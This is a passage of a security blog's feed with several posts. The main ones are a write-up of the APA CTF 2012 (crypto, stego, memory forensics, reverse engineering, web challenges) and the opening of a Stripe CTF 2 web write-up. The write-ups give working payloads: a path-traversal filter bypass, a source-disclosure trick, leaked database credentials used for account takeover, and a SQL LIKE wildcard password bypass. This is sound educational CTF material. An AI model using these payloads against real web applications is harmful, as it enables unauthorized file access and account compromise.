Finally we store the variable name and check if it is not used for any other widget (names are unique). If it is, the line and file of code where the other one is defined are outputted as an error. 
</p><p>
The entire approach is pretty straightforward and simple, but it provides for an elegant design. This ends is actually achieved by a middle compiler (such as <a href='http://stackoverflow.com/questions/3588154/how-usable-is-qt-without-its-preprocessing-step'>MOC in Qt</a>) but due to very generic nature of PHP, meta-reflection is easily achieved by a run-time code parser. I will let you know when the library is out, both as a part of jframework and as a stand-alone library</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/meta-reflection-variable-name-detection-problem-for-pull-widgets-in-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>APA CTF 2013 Write-up</title>
		<link>http://abiusx.com/apa-ctf-2013-write-up/</link>
		<comments>http://abiusx.com/apa-ctf-2013-write-up/#comments</comments>
		<pubDate>Sat, 15 Dec 2012 00:17:10 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[AbiusX]]></category>
		<category><![CDATA[APA]]></category>
		<category><![CDATA[Brail Steganography]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[Classic Ciphers]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Entropy Analysis]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Information Entropy]]></category>
		<category><![CDATA[Pi Number]]></category>
		<category><![CDATA[Ransomware]]></category>
		<category><![CDATA[SAGE]]></category>
		<category><![CDATA[Straddling]]></category>
		<category><![CDATA[Volatility Forensics]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[Whitelist Filtering]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=801</guid>
		<description><![CDATA[This post is about Sharif CERT (APA) center&#8217;s recent CTF (10 dec 2012), which is one of a kind in Iran. Most CTFs are a few days long since there are time-zone differences, but since this one is in Iran, its only a few hours long and full of pressure. Also it is fairly general [...]]]></description>
				<content:encoded><![CDATA[This post is about Sharif CERT (APA) center&#8217;s recent CTF (10 dec 2012), which is one of a kind in Iran. Most CTFs are a few days long since there are time-zone differences, but since this one is in Iran, its only a few hours long and full of pressure.

Also it is fairly general purpose, with Trivia, Web Hacking, Cryptography, Steganography, Reverse Engineering and Forensics amongst it genres. There&#8217;s also the final <a title="APA CTF online round scoreboard" href="http://ctf.cert.sharif.edu/">scoreboard</a> of the contest. As usual, team AbiusX nailed this CTF, though this was the initial round and the main round is held inside Sharif University of Technology in Tehran.

APA CTF usually pisses me off, as some questions are not technical and more of a puzzle than a question &#8211; as you will see soon &#8211; and also because the guys in charge of making up questions have a very poor English (rofl). But it&#8217;s getting much better over the years and this version was perfectly acceptable, specially the parts about segmenting different teams&#8217; flags.

There were 2 trivia questions, 4 web flags, 2 reverse engineering flags and the rest each had one flag. Genre scores were 100 for trivia, 1200 for web, 200 for crypto, 600 for reverse engineering, 300 for steganography and 400 for forensics, plus bonuses for quick solvers.
<h1>The Questions</h1>
This section will describe each questions, its strengths and weaknesses and the solution to it.

<span id="more-801"></span>
<h2>Trivia</h2>
The first trivia question was &#8220;<em>The tool that Microsoft uses to detect security vulnerabilities in it&#8217;s development.</em>&#8220;. Answer was of course <a title="Microsoft Sage" href="http://research.microsoft.com/en-us/um/people/pg/public_psfiles/sage-in-one-slide.pdf">SAGE</a> (which obviously we couldn&#8217;t figure out). In my 5 years of active OWASP involvement, Microsoft is the leading company that benefits from OWASP research and development, without even admitting it. Many open source initiatives (like Mozilla) are reluctant to turn towards OWASP without some bragging.

Second trivia was &#8220;<em>Malware that asks for money to remove itself.</em>&#8220;. These are getting a place in malware world, and are known as <strong>ransomware</strong>.

&nbsp;
<h2>Cryptography</h2>
The cryptography challenge really crawled up my ass all the way up my brain, as it was a puzzle and not a cryptography challenge. You might know that I&#8217;m a crypto nerd, and I&#8217;m deeply into advanced number theory, information theory and everything cryptography. When you opened <a href="/archive/APACTF2013/c1.txt">the question link</a>, you would face this:
<div style="word-wrap: break-word;">141592653589793238467926433832795028841971693993751058209749445923078164062862089986280348253425511706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196442881097566593344612847564823378678316527120190914564856692346034861045432664821339360726024914127372458700660631558817488152092096282925409171536436789259036001133053054882046652138414695194151160943305727036575959195309218611738193261179310511854807446237996274956735188575272489122793818301194912983367336244065664308602139494639522473719070217986094370277053921717629317675238467481846766940513200056812714526356082778577134275778960917363717872146844090122495343014654958537105079227968925892354201995611212902196086403441815981362977477130996051870721134999999837297804911095105973173281609631859502445945534690830264252230825334468503526193118817101000313783875288658753320838142061717766914730359825349042875546873115956286388235378759375195778185778053217122680661300192787661119590921642019893809525720106548586327886593615338182796823030195203530185296899577362259941389124972177528347913151557485724245415069595082953311686172785588907509838175463746493931925506040092770167113900984882401285836160356370766010471018194295559619894676783744944825537977472684710404753464620804668425906949129331367702898915210475216205696602405803815019370511253382430035587640247496473263914199272604269922796782354781636009341721641219924586315030286182974555706749838505494588586926995690952272107975093029553211653449872027559602364806654991198818347977535663698074265425278625518184175746728909777727938000816470600161452491921732172147723501414419735685481613611573525521334757418494684385233239073941433345477624168625189835694855620992192221842725502542568876717904941146016534668049886272327917860857843838279679766814541009538837863609506800642251252051173929848960841284886269456042419652850299221066118630674427862203919494504712371378696095636437191657287467764657573962413890865832645995813390478027590099465764078951269468398352595</div>
Now, since there are no plaintext and no hints, this would either be a classic easily-breakable classic cipher, or some sort of encoding (which APA guys generously confuse with encryption). Most <a href="http://en.wikipedia.org/wiki/Classical_cipher">classic ciphers</a> operate on alphanumeric inputs and provide alphanumeric outputs, except for a handful (<a href="http://en.wikipedia.org/wiki/Polybius">Polybius</a>, <a href="http://en.wikipedia.org/wiki/Straddling_checkerboard#Straddling_checkerboard">Straddling</a>, <a href="http://en.wikipedia.org/wiki/Bifid_cipher">Bifid</a>, etc.), and that bunch produces a reduces number set (i.e not all numbers are used in the result).

I quickly wrote a code to decrypt all the ciphers I knew to use numerical I/O, and ran it on the numbers above; all resulted in gibberish. Then I inspected the numbers for a while, its 2046 characters long, which is 2x3x11x31, and oddly odd combination of primes; so I factored this string into its prime factors in a 4D manner, still no sense.

Now I thought maybe it is a commonly known sequence, so I asked my friend Google about it, and it said no results (keep in mind that i copied first 24 characters). Then I ran some analysis using a bunch of tools on the sequence, namely <a href="http://en.wikipedia.org/wiki/Index_of_coincidence">Index of Coincidence</a>, <a href="http://en.wikipedia.org/wiki/Frequency_analysis">Frequency Analysis</a> (up to 32 letters!) and finally <a href="http://en.wikipedia.org/wiki/Entropy_(information_theory)">Entropy Analysis</a>. Entropy analysis yielded high entropy, thus the sequence could not be a classic cipher. All classic ciphers have somewhat weak Diffusion and Confusion, so they do not increase the entropy.

<strong>Side Note for Crypto Newbies:</strong> An ideal cipher is like a machine, that receives a ball from you, and outputs some dust. Then when you pour the dust back into the machine, it gives you a ball. In a more technical manner, it increases the information entropy to maximum, so it&#8217;s similar to noise; but it has a unique way of turning it back into something structured. To put it in simple words, if you zip a maximum entropy data (like something encrypted with AES), the zipped data would have approximately the same size (since it has no detectable pattern).

But if the sequence was a new cipher, there would be no way to crack it! Not without some plaintext, hints, and some parts of a key. So I just left the question be.

<strong>Solution. </strong>Later a hint popped up in news section, saying 3.14. I thought they mean it is 3:14, and not much of the contest is left (I&#8217;m too much of a nerd). Later I figured out it&#8217;s 3.14 (Pi number), then I searched around and found that this sequence is very similar to extension of Pi number. You must know that Pi number has a sequence with no pattern, and thus the entropy theory. Then I figured out that the sequence is not exactly the Pi number&#8217;s decimal part, so I did a quick code to list out the differences, which were (they might&#8217;ve been different for other teams):

79 55 1 110 70 52 114 99 65

Now I concatenated these, and entered as a flag, which was rejected. No hint was given to me on what else to do, so I assumed that people in charge have made another mistake, and remove the number &#8220;1&#8243; from the result sequence, and then converted each ASCII code to its corresponding character, which was the correct flag.

You might ask why the googling did not yield any result, it was because 21st and 22nd letter were injected and were not original Pi number.
<h2>Steganography</h2>
The link to the question, provided you with an image:

<a href="http://abiusx.com/blog/wp-content/uploads/2012/12/a1.bmp"><img class="aligncenter size-medium wp-image-802" alt="APA CTF 2013 Stegano Image" src="http://abiusx.com/blog/wp-content/uploads/2012/12/a1.bmp" /></a>Now initial analysis revealed that this is a 256 color Bitmap file. Since I&#8217;ve done a few bitmap editors when I was around 12, I know that 256 color bitmaps have a palette in their header that lists 2^8 colors out of 2^18 possible colors (6 bit for R, G and B). I inspected the palette, no obvious pattern. I inspected the colors, no <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;ved=0CDQQFjAA&amp;url=http%3A%2F%2Fkoala.ece.stevens-tech.edu%2F~mouli%2Flsbsteg.pdf&amp;ei=3L7LUL7BAeik0AXi6IHQCw&amp;usg=AFQjCNFPXxyL-Ev0ytAmvBdYDARaex-BKA&amp;bvm=bv.1355325884,d.d2k">LSB</a> data. I ran every stegano tool I could find on the image, all failed.

Then there was a hint in the news section : &#8220;Focus on hot theme colors.&#8221;. What colors are deemed hot? Later I found out that they mean red variations. Then I filtered the image so that only red colors remain and all look alike. I looked deeply at the image, rotated it at every angle, and the only thing I could see was something similar to sport logos (the ones that show a man swimming or playing basketball in TV news programs).

<strong>Solution.</strong> We did not nail this particular question, as it had absolutely nothing to do with science and technique. It was a brail text converted to an image.

&nbsp;
<h2>Forensics</h2>
The question provided me with a <a href="/archive/APACTF2013/forensics/physical-memory-dump-1.7z">16mb 7z file</a>, presumably a physical memory dump image of a system. Now what we were supposed to find in it, was yet another question never answered. <em><strong>The biggest problem with APA questions is that they do not clearly state what you should look for, though in real life you always know what ends you&#8217;re pursuing.</strong></em>

When trying to decompress the file, usual decompressors would argue that it is corrupt. Later I found out that it could only be unzipped by 7zip software (namely 7za executable as I don&#8217;t live inside a Windows system). Now we had a 68 MB file, with no absolute idea as to what to search for in it (68MB is a little too much).

Later a hint came up, telling that it is intended to be inspected by the <a href="https://www.volatilesystems.com/default/volatility"><strong>Volatility</strong></a> software. I obtained the software, which is in Python. Ran it, it required a bunch of libraries from Google Code. I fetched those too, and ran the tool. It had unlimited options.

The image belonged to Windows XP SP3, list of processes showed usual Windows components, as well as two cmd.exe. Now we could dump the console commands typed in those cmd.exe files via the memory image, so I did. They had renamed a <a href="/archive/APACTF2013/forensics/executable.792.exe">CTF3.exe</a> file into conhost.exe and ran it.

I dumped the memory image of the conhost.exe file into a real file (executable files are loaded into memory before being executed). Ran it on Windows:
<blockquote>&#8216;conhost&#8217; is not recognized as an internal or external command, operable program
or batch file.
Error reading registry key!</blockquote>
Inspecting the executable file with some debuggers, revealed that its looking for for Registry Key &#8220;<strong>Keyboard Layouts\Preload</strong>&#8221; in HKLM. Now I went there in my Windows machine, and nothing particular was there. Then I dumped the registry value for that key inside the image file (Windows registry is alos loaded into the memory), and the flag was there, fairly easy.

The problem was, why the hell would a forensics guy want to check up a stupid common registry key in some memory image?! The philosophy behind the question bugged me greatly.
<h2>Reverse Engineering</h2>
We were provided with <a title="APA CTF 2013 Reverse Engineering Challenge" href="/archive/APACTF2013/reverse-1.zip">this zip file</a>, which included a readme.txt, a reverse.exe and a libeay32.dll. Since I was an OpenSSL freak, I knew that libeay32.dll belongs to OpenSSL, so the program is presumably using some AES, RSA, or other nasty OpenSSL functionality (you would know what I mean if you worked directly with nasty OpenSSL code).

Readme.txt stated that <em>Executable is currently configured to generate flag2 for &#8220;SharifCERT&#8221;. You should generate and submit flag2 for &#8220;Team02&#8243;. </em>Inspecting the executable resources revealed a &#8220;SharifCERT&#8221; string amongst them. Replacing it with Team02 and running the code, gave the first flag, which we got in a few minutes after the beginning of contest.

Now for the second flag, some anti-debug features were implemented into the executable file. Finally it became obvious that it references some memory in libeay32.dll file, that is not there. After lots of hours of headache, we figured out that the libeay32.dll opened in the debugger, is actually the one loaded by the operating system earlier, and not the one in executables folder (people unfamiliar with the way Windows handles Dynamic Libraries, just know that is does a very poor job of that).

Replacing it with the file in folder, revealed the second flag in that memory spot.
<h2>Web Hacking</h2>
There were two web challenges, one with 3 flags and 1000 score points, PHP MySQL based, and one with 1 flag and 200 score points, added for the sake of those newbies that can only hack ASPX. Unfortunately the second one had a bug which prevented our team from nailing it, as I&#8217;ll describe very soon.

The first challenge, had the <strong><em>chase your own tail</em></strong><em> </em>problem, which was frequent on the contest. You had no idea what they expected you to do, and you were faced with a vast web application, with really nasty code &#8211; very hard to keep inside your head &#8211; and poor English text.

There were four initial pages, a homepage welcoming you, a css page which showed you a copy/pasted page, a downloads page which provided 3 links to download stuff, and a final page asking for email and password to login, with a link to another page asking for valid email to reset password.

The download page referenced a /includes/downloader.php file which accepted a GET parameter, namely file, which itself accepted the base64 encoded string of the filename&#8217;s reverse. For example to download css.html, you had to base64encode <em>lmth.ssc</em>. This code does exactly that:
<blockquote>&lt;?php die(base64_encode(strrev(&#8220;filename.here&#8221;)));</blockquote>
Unfortunately, the downloader script would not work correctly with files containing .. and / in their address, so no LFI/<a href="http://en.wikipedia.org/wiki/Remote_file_inclusion">RFI</a>. It would just say &#8220;File not found&#8221;.

There was another interesting file mentioned in the css page, namely /includes/css-parser.php which accepted raw GET data, in the form:
<blockquote>css-parser.php?extension,filename1,filename2,&#8230;</blockquote>
And would dump the contents of filename1.php, filename2.php and the rest (if provided). Unfortunately, it only allowed you to peek at files inside /includes/ folder, as <a href="/archive/APACTF2013/web/includes/css-parser.php.txt">it had</a>:
<blockquote>$file = preg_replace(&#8216;/[^a-zA-Z0-9\_\-\/]/&#8217;, &#8221;, $file);
$output .= file_get_contents(dirname(__FILE__) . &#8216;/&#8217; . $file .&#8217;.&#8217;.$type) . &#8220;\n&#8221;;</blockquote>
So, we took a look at <a href="/archive/APACTF2013/web/includes/downloader.php.txt">downloader.php</a>:
<blockquote>/**

FLAG: lol-first-key!.php

**/

$filename = $_REQUEST["file"];
$filename = strrev(base64_decode($filename));
$filename = str_replace(&#8216;..&#8217;, &#8221;,$filename);
$filename = str_replace(&#8216;backups/&#8217;,&#8221;,$filename);
$file = &#8216;../files/&#8217;.$filename;
if(file_exists($file) &amp;&amp; !is_link($file) &amp;&amp; !is_dir($file))</blockquote>
Now the first section which states the flag file, was mistakenly typed as &#8220;FLAG: lol&#8221; when I first encountered this file. I was amazed at what it could mean, and they never told me. Later they fixed it so I did not get quick-solver&#8217;s bonus for this.

The code segment uses blacklist filtering, and if you&#8217;ve followed what I say at <a title="OWASP PHP Security Cheat Sheet" href="https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet">OWASP PHP Security Cheat Sheet</a> (and any other security related article), you&#8217;re bound to be pawned if you use that. You should use <em>whitelist filtering</em>, i.e only allowing what you know is safe, and not filtering what you know is unsafe. This code, filters double dots and &#8220;backups/&#8221; strings, then prepends &#8220;../files/&#8221; to our input. That&#8217;s why we could neither use .. nor use slash in our addresses. Now pawning that is as simple as providing it with:
<blockquote>.backups/./index.php</blockquote>
Now it first checks for double dots, non found, then replaces our &#8220;backups/&#8221; with nothing, turning our input effectively to &#8220;<strong>../index.php</strong>&#8220;. This can never be prevented, even if you put this filtering code inside a while loop. <a href="/archive/APACTF2013/web/index.php.txt">Index.php</a> had:
<blockquote>require_once &#8216;<a href="/archive/APACTF2013/web/includes/main.php.txt">includes/main.php</a>&#8216;;

&#8230;</blockquote>
Now the main.php file was interesting, but you couldn&#8217;t read it because it had the protection string on its first line. The trick was easy, simply provide css-parser.php?php,downloader,/main so that you get a concatenated output of both files. Main.php referenced a bunch of useful files:
<blockquote>require_once &#8216;<a href="/archive/APACTF2013/web/includes/master.auth.php.txt">includes/master.auth.php</a>&#8216;;
require_once &#8216;<a href="/archive/APACTF2013/web/mysql-config-files/config.inc.php.txt">mysql-config-files/config.inc.php</a>&#8216;;
require_once &#8216;<a href="/archive/APACTF2013/web/mysql-config-files/config2.inc.php.txt">mysql-config-files/config2.inc.php</a>&#8216;;
require_once &#8216;classes/mysql.class.php&#8217;;
require_once &#8216;<a href="/archive/APACTF2013/web/classes/auth.class.php.txt">classes/auth.class.php</a>&#8216;;
require_once &#8216;<a href="/archive/APACTF2013/web/includes/password-recovery.php.txt">includes/password-recovery.php</a>&#8216;;</blockquote>
Now the two interesting files were mysql config files. Hints in the news told us that MySQL port is open from the world, so using the mysql client and the credentials in the file, one could connect to the server, list emails and passwords and even add an email and use forgot password, then login with it and get the 3rd flag (500 scores).

The second web challenge, required you to use SQL injection on ASPX server to get into admin.aspx, and read some files via the admin panel and decrypt them to see the flag. Unfortunately the login screen had a bug which caused it to pop an error all the time, regardless of being a wrong password or an actual error. I bypassed it using <a href="http://soroush.secproject.com/blog/2012/06/aspxerrorpath-in-url-technique-in-scanning-a-net-web-application/">Soroush&#8217;s method on ASPXERRORPATH</a> and also found the admin.aspx myself (which didn&#8217;t require login), but since it was buggy, I left the question be. Again, nobody told me that it was fixed so I never returned to it.
<h2>Conclusion</h2>
Generally, the contest was fairly straightforward and cool, and I and the rest of participants liked it. APA needs better guys on crypto and stegano challenge design, but it&#8217;s acceptable for now. Please drop comments about your ideas about this writeup and the contest in general.

<div id="attachment_814" class="wp-caption aligncenter" style="width: 310px"><a href="http://abiusx.com/blog/wp-content/uploads/2012/12/scoreboard.png"><img class="size-medium wp-image-814" alt="APA CTF 2013 Online Scoreboard" src="http://abiusx.com/blog/wp-content/uploads/2012/12/scoreboard-300x235.png" width="300" height="235" /></a><p class="wp-caption-text">APA CTF 2013 Online Scoreboard</p></div>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/apa-ctf-2013-write-up/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Migrating mail from one host to the other</title>
		<link>http://abiusx.com/migrating-mail-from-one-host-to-the-other/</link>
		<comments>http://abiusx.com/migrating-mail-from-one-host-to-the-other/#comments</comments>
		<pubDate>Wed, 31 Oct 2012 12:47:02 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Server Management]]></category>
		<category><![CDATA[fetchmail]]></category>
		<category><![CDATA[getmail]]></category>
		<category><![CDATA[Helm to Directadmin migration]]></category>
		<category><![CDATA[Helm to Directadmin transfer]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[Maildir]]></category>
		<category><![CDATA[Mbox]]></category>
		<category><![CDATA[MDA]]></category>
		<category><![CDATA[MTA]]></category>
		<category><![CDATA[mutt]]></category>
		<category><![CDATA[pop3]]></category>
		<category><![CDATA[transfer database]]></category>
		<category><![CDATA[transfer email]]></category>
		<category><![CDATA[transfer files]]></category>
		<category><![CDATA[transfer mail]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=795</guid>
		<description><![CDATA[I was in the process of migrating a host from Helm 4 to DirectAdmin, and it seems that Helm is pretty crappy and does not store mail in user&#8217;s storage, but instead in its own mail manager, but what else would someone expect of something Windows based. The problem and solution I describe here is [...]]]></description>
				<content:encoded><![CDATA[I was in the process of migrating a host from Helm 4 to DirectAdmin, and it seems that Helm is pretty crappy and does not store mail in user&#8217;s storage, but instead in its own mail manager, but what else would someone expect of something Windows based.

The problem and solution I describe here is applicable to all hosting managers, not just DA and Helm, but I use those in my examples.

First step is to transfer files, which is pretty easy. You could zip the whole folder in any control panel (sometimes its referred to as Backup), then get it via wget&#8217;s ftp functionality:
<blockquote>wget -r ftp://user:pass@host.com/folder/file.zip</blockquote>
I&#8217;m assuming you have SSH access on your destination, or otherwise you have to do everything on your own computer and then move to the destination, which is not very engineery! Then you unzip and relocate the files.

Then you have to move databases, which is pretty easy using mysqldump tool and mysql &lt;dumpfile.sql trivia. Transferring the dumpfile is also done with wget or ftp. Keep in mind to export/import via terminal and not something like phpMyAdmin, as encoding problems could make your life miserable.

Third and the most tedious and important step for every major website, is delivering mail. Unfortunately many hosting providers do not let you grab all your mail in a single shot, and many others do not let you import them that easily. Mail is a little complicated these days with all the MTA and MDA and Maildir and Mbox formats and all.

The proposed solution of many hosting providers is to use Outlook on imap, download all mail from source, reconnect to destination and upload all mail to destination. This involves your personal system and is way slow for huge number of mails and mailboxes.

The better way would be to first create the same mailboxes on your destination, then use a mixture of mutt, getmail and scripting to transfer the mail. Mutt is a terminal based IMAP/POP client, which allows you to read and compose mail. getmail is a brilliant software which simply gets mail from server to client and still stores it in standard formats.

Assume that your user is named myuser and is located at /home/myuser. there is usually some folder named Maildir (or imap in case of DirectAdmin, but when you go in it, there is a list of mail users each having Maildir inside). This is the IMAP&#8217;s desired storage format (Maildir) also used by Dovecot.

Now install getmail on your destination and create a file ~/.getmail/getmailrc with the following content:
<blockquote>[options]
verbose = 1
delete = False

[retriever]
type = SimpleIMAPRetriever
server = sourceMailServer.com
username = srcUser
password = srcPass

[destination]
type = Maildir
path = ~/imap/domain.com/srcUser/Maildir/</blockquote>
You have to update this file for every mailbox you&#8217;re going to migrate, and replace username, password and path accordingly. Then go to the path you describe, see if it exists (it should be your control panels default path or you&#8217;re not migrating correctly). If it does not exist, create the folder Maildir with 3 subfolders cur, new, tmp. You could also create the structure by using mutt instead of manually, as follows:
<blockquote>mutt -f imap://user@srcHost.com</blockquote>
It then lists your messages and creates the folder structure for you.

Now run getmail, and wait for the magic to happen. It is definitely going to take some time if you have huge email base. You could automated this process for multiple accounts with a simple bash script. This whole process is way faster and easier than any other solutions.

Also keep in mind to use IMAP if applicable, otherwise you would only transfer Inbox. Don&#8217;t forget to ask your questions below.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/migrating-mail-from-one-host-to-the-other/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Serialization Pollution Attack</title>
		<link>http://abiusx.com/php-serialization-pollution-attack/</link>
		<comments>http://abiusx.com/php-serialization-pollution-attack/#comments</comments>
		<pubDate>Tue, 02 Oct 2012 18:56:17 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Lab]]></category>
		<category><![CDATA[PHP Serialize]]></category>
		<category><![CDATA[PHP Serialize Security]]></category>
		<category><![CDATA[PHP Unserialize]]></category>
		<category><![CDATA[Serialization security]]></category>
		<category><![CDATA[Serialize Flaw]]></category>
		<category><![CDATA[Serialize Security]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=790</guid>
		<description><![CDATA[PHP Serialization has a fatal flaw which allows for pollution of the scope and global context of an application, as well as running arbitrary code in some scenarios if sources of taint are allowed in. It is a very high impact attack but requires in-depth evaluation criteria and careful inspection to be caught. I have [...]]]></description>
				<content:encoded><![CDATA[PHP Serialization has a fatal flaw which allows for pollution of the scope and global context of an application, as well as running arbitrary code in some scenarios if sources of taint are allowed in. It is a very high impact attack but requires in-depth evaluation criteria and careful inspection to be caught.
I have prepared a lab to explore and try this attack, available at:
<p style="text-align: center;"><a title="PHP Serialization Pollution" href="/lab/hacking/serialize.php" target="_blank">PHP Serialization Pollution Lab</a></p>
Give it a try and let me know what you think. I suggest you do a lot of debugging on the code and master its exact running flow. Don&#8217;t forget that the source code of that page is available at:
<p style="text-align: center;"><a title="PHP Serialization Pollution Source Code" href="https://abiusx.com/lab/hacking/serialize.src.php" target="_blank">https://abiusx.com/lab/hacking/serialize.src.php</a></p>
I&#8217;m gonna describe this with details in a much later date.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/php-serialization-pollution-attack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Stripe CTF 2 &#8211; Web Challenges</title>
		<link>http://abiusx.com/stripe-ctf-2-web-challenges/</link>
		<comments>http://abiusx.com/stripe-ctf-2-web-challenges/#comments</comments>
		<pubDate>Sun, 26 Aug 2012 02:55:02 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hash Extension]]></category>
		<category><![CDATA[Hash Length Extension]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Port Scanning]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[Stripe]]></category>
		<category><![CDATA[Stripe CTF]]></category>
		<category><![CDATA[Stripe CTF 2.0]]></category>
		<category><![CDATA[Stripe CTF 2.0 challenges and solutions]]></category>
		<category><![CDATA[Stripe CTF Solutions]]></category>
		<category><![CDATA[Stripe CTF Web Solutions]]></category>
		<category><![CDATA[Stripe Solutions]]></category>
		<category><![CDATA[Stripe web CTF]]></category>
		<category><![CDATA[Stripe Web CTF Challenges]]></category>
		<category><![CDATA[UNION Bypassing]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=757</guid>
		<description><![CDATA[I participated in the Stripe CTF Web Attacks and thus far it was the most well designed CTF I have ever encountered (and I have participated in a couple dozen). This is the second Stripe CTF, the first was exploitation based and this one was web based. Some Concepts CTF stands for Capture the Flag, its [...]]]></description>
				<content:encoded><![CDATA[I participated in the <a title="Stripe CTF" href="https://stripe-ctf.com/">Stripe CTF</a> Web Attacks and thus far it was the most well designed CTF I have ever encountered (and I have participated in a couple dozen). This is the second Stripe CTF, the first was exploitation based and this one was web based.

<strong>Some Concepts</strong>

CTF stands for Capture the Flag, its a genre of games where you have to get past enemy lines and take their flag and bring it back to your base to win a score. Usually hacking games are CTF like, you have to hack a system, find the flag (its a random string) and bring it to your home to get scores for that level.

There are plenty of servers for a CTF host, since many attackers try to just break the servers instead of solving the challenges. Also every participant&#8217;s environment has to be secluded to achieve best challenge experiences, so lots of cautious programming on the host side is required.

There are almost always lots of bugs on CTFs due to huge codebases, and hackers tend to hack systems in a way that the host didn&#8217;t plan of, and get the score; thus the host people have to watch the event and remove those bugs asap, and to respond to questions and feedbacks of the participants.

<strong>How did I do</strong>

I participated in this CTF a couple days ago, at midnight. Unfortunately my beloved uncle had just passed away and he had no sons, so I had to take care of much of funeral stuff. I only had a couple hours at midnight (at the cost of not sleeping for the funeral) to participate in this, so I did. I was able to solve 8 out of 9 challenges in almost 3 hours, and left for the funeral chores afterwards.

The 8th question was a little lengthy and I returned to it after almost 30 hours (after the funeral and a brief rest) and solved it in a few hours. Below I&#8217;m going to discuss the questions and their answers (how to hack them) as an educational document.
<h2>Challenges</h2>
I&#8217;m going to copy the challenges from Stripe-CTF, then provide the solutions in a section below each of them.

<span id="more-757"></span>
<h3>Challenge 0 &#8211; SQL String Comparison</h3>
You completed this level in 312.649 seconds. The password was<code>oxaMPRwadu</code>.

The solution you submitted was:

<code>% sql like operator</code>

<hr />

Welcome to Capture the Flag! If you find yourself stuck or want to learn more about web security in general, we&#8217;ve prepared a list of helpful <a href="https://stripe-ctf.com/about">resources</a> for you. You can chat with fellow solvers in the <a href="https://answers.stripe.com/chat#ctf">CTF chatroom</a> (also accessible in your favorite IRC client at <a href="irc://irc.stripe.com:+6697/ctf">irc://irc.stripe.com:+6697/ctf</a>).

We&#8217;ll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to <a href="http://en.wikipedia.org/wiki/Safe-cracking">crack safes</a>&#8230;

You can access the Secret Safe at <strong><a href="https://level00-2.stripe-ctf.com/user-cqxxidnqrs" target="_blank">https://level00-2.stripe-ctf.com/user-cqxxidnqrs</a></strong>. The Safe&#8217;s code is included below, and can also be obtained via <code><code>git clone https://level00-2.stripe-ctf.com/user-cqxxidnqrs/level00-code</code></code>.

<hr />

Here&#8217;s the code for <code>level00.js</code>, the main server file:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/0#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/0#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/0#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/0#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/0#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/0#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/0#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/0#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/0#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/0#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/0#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/0#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/0#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/0#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/0#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/0#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/0#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/0#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/0#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/0#n20"></a>20</strong>
